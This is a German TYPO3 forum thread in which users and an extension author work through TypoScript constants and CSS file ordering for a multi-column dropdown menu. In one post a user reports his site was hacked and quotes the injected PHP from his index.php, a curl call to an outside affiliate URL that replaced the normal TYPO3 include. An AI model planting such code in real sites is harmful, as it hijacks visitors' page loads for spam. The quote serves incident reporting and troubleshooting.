Typoscript für Mega Dropdown Menu: Seite 2

cwalter · 2010-01-18T07:37:05+00:00

Hallo zusammen Ich hab eine echte Knacknuss - zumindest für mich 🙂. Ich bräuchte für ein mehrspaltiges Dropdown Menü folgenden generierten Code: Punkt 1 Punkt 2 Unterpunkt 1 Navigation Link Navigation Link Unterpunkt 1 Navigation Link Navigation Link Punkt 3 Punkt 4 Punkt 5 Allerdings bin ich mit dem hierzu notwendigen typoscript ziemlich überfordert, ich bin mir nicht einmal ganz im klaren, wie ich die einzelnen Seiten von der Hierarchie anordnen müsste, damit eine solche Struktur möglich ist (da die ersten Seiten jeder Unternavigationsgruppe jeweils noch als ausgezeichnet sein sollten). Gibt es vielleicht einen typoscript-Kenner, welcher sich ein entsprechendes TMENU vorstellen könnte? Grüsse Christoph

LucitheR · 18. Januar 2011 09:40

hier noch der screenshot von den static templates

jank · 18. Januar 2011 09:51

Die Start ID kannst du in den constants angeben, genauso wie eventuelle excludes:

plugin.freeCssDropDownMenu.horizontal.start = xx
plugin.freeCssDropDownMenu.horizontal.exclude =

Start ist per default die ID 1, wenn es die bei dir nicht gibt wird auch kein Menü generiert.

Ich gebe zu ich muss die Doku mal fertigstellen :o

LucitheR · 18. Januar 2011 10:10

jank schrieb
Die Start ID kannst du in den constants angeben, genauso wie eventuelle excludes:
plugin.freeCssDropDownMenu.horizontal.start = xx
plugin.freeCssDropDownMenu.horizontal.exclude =
Start ist per default die ID 1, wenn es die bei dir nicht gibt wird auch kein Menü generiert.

Ich gebe zu ich muss die Doku mal fertigstellen :o

genau diese Info fehlte 😉
nun funktioniert es alles 😃

vielen Dank
Jan

LucitheR · 18. Januar 2011 10:40

Cool wäre es natürlich zu wissen, wie man die templates/themes per TS ändert. 😉

jank · 18. Januar 2011 11:37

auch wieder über die constants:

plugin.freeCssDropDownMenu.themeCss = typo3conf/ext/freecssdropdownmenu/res/css/dropdown/themes/_template/default.css

LucitheR · 18. Januar 2011 13:59

danke 🙂

Dennis.D · 2. Februar 2011 17:04

Hallo Zusammen,
ich hoffe es liest hier noch einer mit und mir ist es auch etwas unangenehm das ich das Menü trotz so vieler Antworten noch nicht auf die Reihe bekommen habe.

Mein Ziel: So wie in dem Celebrity Bsp, ein Menü mit mehreren Spalten nebeneinander, so das man gleich einen schönen Überblick über die Unterseiten bekommt.
Die Unterseiten des Menüs sollen nicht Ebene für Ebene nacheinander auftauchen wenn man mit der Maus drüber fährt, sondern gleich wenn ich den ersten Menüpunkt auswähle soll darunter die mehrspaltige Liste auftauchen. Ebenso wie in dem Beispiel.

Das "geklaute" TS:

temp.nav = COA
temp.nav.10  < plugin.freeCssDropDownMenu.horizontal
temp.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
temp.nav.10.1.IFSUB.doNotLinkIt = 1
temp.nav.10.1.expAll = 1
temp.nav.10.2.IFSUB.doNotLinkIt = 1
temp.nav.10.2.entryLevel = 1
temp.nav.10.2.expAll = 1
temp.nav.10.4 >
temp.nav.10.5 >
page.10.subparts.main_nav < temp.nav

page.headerData.100 = TEXT
page.headerData.100.value (
<link href="fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
<link href="typo3conf/ext/freecssdropdownmenu/res/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
)

Und hier mal der link zur Seite auf der ich das gerade ausprobiere: http://4mamis.diekavallerie.de.www68.your-server.de/

Bin um jeden Tipp dankbar.

LG Dennis

jank · 2. Februar 2011 22:06

Das Problem ist die Reihenfolge der CSS Dateien.

Die Dateien überschreiben der Reihe nach einige Einstellungen und wenn die Reihenfolge falsch ist überschreibt die letzte Datei die Einstellungen der vorherigen.

Hier die Reihenfolge:
dropdown.css
dropdown.linear.columnar.css
default.advanced.css

Und das Theme css unbedingt nach fileadmin kopieren, da es sonst bei einem Update überschrieben wird.

Dennis.D · 3. Februar 2011 09:52

Gute Morgen,

erstmal vielen Dank für die schnelle Antwort. Ich werde das gleich mal ausprobieren.

Ich musste gerade leider mit entsetzen feststellen das die Seite die ich gestern Abend aufgesetzt habe, und deren link ich hier gepostet habe, gehackt wurde!

Folgenden Eintrag konnte ich im Log finden:
20:44:54 dennis@-99 LOGIN LOGIN User dennis logged in from 109.192.130.226 () (msg#255.1.1)
20:44:34 [0]@LIVE [5] Sys! [5_0] Core: Exception handler (WEB): Uncaught TYPO3 Exception: Reason: Segment "favicon.ico" was not a keyword for a postVarSet as expected! | RuntimeException thrown in file /xx/xxx/xxx/xxx/4mamis/typo3_src-4.5.0/typo3/sysext/cms/tslib/class.tslib_fe.php in line 1572

Ich weiss nich ob jemand damit was anfangen kann. Anscheinend hat jemand meinen BE Account geknackt und hat sich dann damit um 20.44 Uhr eingeloggt.

Die index.php war auch verändert, hiermit:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.benaughty.com/aff.php");
curl_setopt($ch, CURLOPT_HEADER, 0);
#require (PATH_tslib.'index_ts.php');
curl_exec($ch);
curl_close($ch);

Könnte das ein TYPO3 bug in der neuen Version sein, oder habe ich einfach Pech und sollte hier solche links nicht mehr posten?

Danke euch schon mal.

jank · 3. Februar 2011 12:04

hm... ich war es nicht. Aber ist schon komisch. Aber eigentlich kann es fast kein Typo3 Bug sein, da aus Typo3 die index.php zu modifizieren recht schwer sein dürfte. Vielleicht war der ganze Server betroffen...
Das hatte ich vor kurzem auch bei einem Kunden... Da hat der Hoster einfach sch... gebaut.
Den Ordner typo3_src sollte man am besten auch nicht vom Webserver beschreibbar machen, außer du willst wirklich am Quelltext von Typo3 etwas ändern.

Dennis.D · 3. Februar 2011 13:08

Das Du es nicht warst glaube ich Dir auch! 😉

OK, also das Menü sieht nun schon besser aus. Die 3. Ebene wird sofort dargestellt, nur komme ich gerade nicht auf den Trichter welche CSS Klasse ich nun anfassen muss damit die 3. Ebene auch neben der 2. Ebene dargestellt wird. Im Moment überlappen sich beide...

http://entwicklung.diekavallerie.de.www68.your-server.de

jank · 3. Februar 2011 13:18

Die Reihenfolge der CSS Dateien Stimmt immer noch nicht
Momentan:

<link href="/fileadmin/template/css/dropdown.css" rel="stylesheet" type="text/css" />
<link href="/fileadmin/template/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
<link href="/fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
<link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.css" /><link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/themes/_template/default.css" />

Da must Du die Reihenfolge beachten, wie ich es im vorherigen Post geschrieben habe.
Bei dir überschreibt die dropdown.css die Eigenschaften der default.advanced.css und dropdown.linear.columnar.css wieder, da sie noch mal an vorletzter Stelle steht.

Dennis.D · 3. Februar 2011 14:07

Ich steh immer noch auf dem Schlauch... Die letzte Zeile:

<link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/dropdown.css" /><link rel="stylesheet" type="text/css" href="/typo3conf/ext/freecssdropdownmenu/res/css/dropdown/themes/_template/default.css" />

wird ja anscheinend aus der Extension geladen. Ich habe das so nicht im TS stehen. Wie kann ich das abstellen? Egal wie ich die Reihenfolge änder, diese Zeile taucht immer als letztes auf. #angry#

jank · 3. Februar 2011 14:17

Das kommt vom Plugin das ich geschrieben habe. Dort wird absichtlich alles in die header ID 9876 geschieben.
das kannst du aber löschen:

page.headerData.9876 >

Dennis.D · 3. Februar 2011 14:31

Erstmal vielen Dank für Deine Geduld! 🙂

Trotzdem verzweifel ich langsam. Die CSS Dateien werden nun richtig eingebunden, trotzdem sieht das menü genauso aus wie vorher auch... 🙁

page.headerData.9876 >

temp.nav = COA
temp.nav.10  < plugin.freeCssDropDownMenu.horizontal
temp.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
temp.nav.10.1.IFSUB.doNotLinkIt = 0
temp.nav.10.1.expAll = 1
temp.nav.10.2.IFSUB.doNotLinkIt = 1
temp.nav.10.2.entryLevel = 1
temp.nav.10.2.expAll = 1
temp.nav.10.4 >
temp.nav.10.5 >
page.10.subparts.main_nav < temp.nav

page.headerData.1000 = TEXT
page.headerData.1000.value (
<link href="fileadmin/template/css/dropdown.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.css" rel="stylesheet" type="text/css" />
)

Versteh echt nicht was ich die ganze Zeit falsch mache und warum es bei den anderen sofort geklappt hat.

jank · 3. Februar 2011 14:36

jank schrieb
Das Problem ist die Reihenfolge der CSS Dateien.

Die Dateien überschreiben der Reihe nach einige Einstellungen und wenn die Reihenfolge falsch ist überschreibt die letzte Datei die Einstellungen der vorherigen.

Hier die Reihenfolge:
dropdown.css
dropdown.linear.columnar.css
default.advanced.css

Und das Theme css unbedingt nach fileadmin kopieren, da es sonst bei einem Update überschrieben wird.

die default.css ist entweder vor der default.advanced.css oder gar nicht einzubinden.

Dennis.D · 3. Februar 2011 14:49

Aber leider bringt auch das gar keinen Unterschied, weder davor noch gar nicht..

page.headerData.9876 >

temp.nav = COA
temp.nav.10  < plugin.freeCssDropDownMenu.horizontal
temp.nav.10.1.wrap = <ul class="dropdown dropdown-linear dropdown-columnar"> | </ul>
temp.nav.10.1.IFSUB.doNotLinkIt = 0
temp.nav.10.1.expAll = 1
temp.nav.10.2.IFSUB.doNotLinkIt = 1
temp.nav.10.2.entryLevel = 1
temp.nav.10.2.expAll = 1
temp.nav.10.4 >
temp.nav.10.5 >
page.10.subparts.main_nav < temp.nav

page.headerData.1000 = TEXT
page.headerData.1000.value (
<link href="fileadmin/template/css/dropdown.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/dropdown.linear.columnar.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.css" rel="stylesheet" type="text/css" />
<link href="fileadmin/template/css/default.advanced.css" rel="stylesheet" type="text/css" />
)

Liegt es vllt an meinen Seiten/Ebenen? Bis jetzt gibt es unterhalb von "Home" 3 Unterebenen..

jank · 3. Februar 2011 20:39

Hallo Dennis, ich seh gerade mit firebug, das die default.css da die breite vom "ul.dropdown ul" vorgibt.
Da seh ich gerade die dropdown.linear.css fehlt bei dir ganz... die wird, wenn sie im gleichen verzeichnis liegt sonst durch import automatisch geladen.

Unter http://www.lwis.net/free-css-drop-down-menu/dropdown.lwis.celebrity.horizontal.html ist ne Demo bei der du dir den Quelltext anschauen kannst.

und du kannst die dropdown.linear.css, dropdown.linear.columnar.css und default.advanced.css eigentlich im extension verzeichnis lassen. Nur deine Theme CSS sollte ins fileadmin.

Ich glaube ich muss mir demnächst mal die Zeit nehmen das als standard menü einzubauen... Das Menü ist anscheinend gerade im Trend

MacBookPro · 23. März 2011 15:05

Hallo Dennis,

Versuch mal bitte folgendes:

Ich habe alle CSS Files wie folgt included:

Setup:

page.headerData.10 = TEXT
page.headerData.10.value (
<link rel="stylesheet" type="text/css" href="fileadmin/dropdown.css" media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/dropdown.linear.columnar.css" media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/default.advanced.css"  media="all" />
<link rel="stylesheet" type="text/css" href="fileadmin/global.css" media="screen" /> <!--ist meine CSS und enthält keine Infos für die Extention vom DropDownmenu)
)

Unter Fileadmin habe ich folgende Files abgelegt und da war bei mir der Fehler:
default.css
default.advanced.css
dropdown.css
dropdown.linear.columnar.css
dropdown.linear.css <-- UND DIE WAR DER GRUND; warum es nicht ging)

Die dropdown.linear.columnar bezieht sich auf die dropdown.linear.css und sollte daher im selben Ordner sein-

Noch meine Constants:

plugin.freeCssDropDownMenu.themeCss = fileadmin/dropdown.css
plugin.freeCssDropDownMenu.themeCss = fileadmin/dropdown.linear.columnar.css
plugin.freeCssDropDownMenu.themeCss = fileadmin/default.advanced.css
plugin.freeCssDropDownMenu.page = page
plugin.freeCssDropDownMenu.headerDataId = 10 </--ist nicht die 9876 bei mir
plugin.freeCssDropDownMenu.horizontal = 1
plugin.freeCssDropDownMenu.horizontal.start = 1
plugin.freeCssDropDownMenu.horizontal.exclude =
plugin.freeCssDropDownMenu.vertical = 0
plugin.freeCssDropDownMenu.vertical.start = 1
plugin.freeCssDropDownMenu.vertical.exclude =

Hoffe die Lösung hilft. Wenn nicht sag bescheid.

Ciao
Mac

jank · 23. März 2011 15:51

ich verwende auch nur die 9876 als default, weil ich die noch nirgends gefunden habe und sie wahrscheinlich niemand sonst händisch im Einsatz hat.

Nun zum Rest
Was mich an deinen constants wundert, ist, dass du die Variable

plugin.freeCssDropDownMenu.themeCss

3 mal überschreibst.
Am Schluss hat sie dann den Wert "fileadmin/default.advanced.css"

Die Variable ist rein für das theme gedacht, also die Einstellungen die nicht Funktionell sind, wie Farbe usw.
Die funktionellen CSS Dateien werden durch "horizontal = 1" eingebunden.

Wichtig für ältere Browser (z.B. ie6) ist jquery und das zugehörige script, welches bei dir wahrscheinlich nicht mehr geladen wird, da du headerData mit einem cObject "TEXT" überschreibst. das ganze war eigentlich ein COA um beim ie < v7 jquery über conditions zu landen.

[browser = msie] AND [version = <7.0]
{$plugin.freeCssDropDownMenu.page}.headerData.{$plugin.freeCssDropDownMenu.headerDataId}.90 = TEXT
{$plugin.freeCssDropDownMenu.page}.headerData.{$plugin.freeCssDropDownMenu.headerDataId}.90.value (
	<script type="text/javascript" src="typo3conf/ext/freecssdropdownmenu/res/js/jquery/jquery.js"></script>
	<script type="text/javascript" src="typo3conf/ext/freecssdropdownmenu/res/js/jquery/jquery.dropdown.js"></script>
)
[end]

PS:
Sorry, ich komme nicht zum lesen der privaten Nachrichten... und bin eigentlich auch eher für die Veröffentlichung im Forum damit auch andere etwas davon haben.